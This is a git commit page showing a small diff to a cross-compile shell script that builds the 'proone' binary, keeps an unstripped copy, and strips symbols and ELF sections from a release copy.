diff options
author | David Timber <mieabby@gmail.com> | 2020-01-04 09:05:45 +1100 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-01-04 09:05:45 +1100 |
commit | 129e12d7685a6ea99fde514ad104a0368a19033d (patch) | |
tree | af4148f9f47830aa0eea9ef035bd08c61e8b4592 /scripts/xcomp.sh | |
parent | 1120c866527fe439fb51e24fc2e512a24e79c37a (diff) |
musl + mbedtls!
Diffstat (limited to 'scripts/xcomp.sh')
-rwxr-xr-x | scripts/xcomp.sh | 8 |
1 files changed, 5 insertions, 3 deletions
diff --git a/scripts/xcomp.sh b/scripts/xcomp.sh index 8790696..ac4bf26 100755 --- a/scripts/xcomp.sh +++ b/scripts/xcomp.sh @@ -1,8 +1,10 @@ #!/bin/bash -OUT="$PROONE_BIN_PREFIX.$PROONE_BIN_ARCH" +BIN_ORG="$PROONE_ORG_BIN_PREFIX.$PROONE_BIN_ARCH" +BIN_REL="$PROONE_REL_BIN_PREFIX.$PROONE_BIN_ARCH" ./configure --host="$PROONE_HOST" $PROONE_AM_CONF &&\ make -j$(nproc) &&\ - cp -a src/proone "$OUT" &&\ - "$PROONE_HOST-strip" -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr "$OUT" &&\ + cp -a src/proone "$BIN_ORG" &&\ + cp -a src/proone "$BIN_REL" &&\ + "$PROONE_HOST-strip" -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr "$BIN_REL" &&\ make distclean |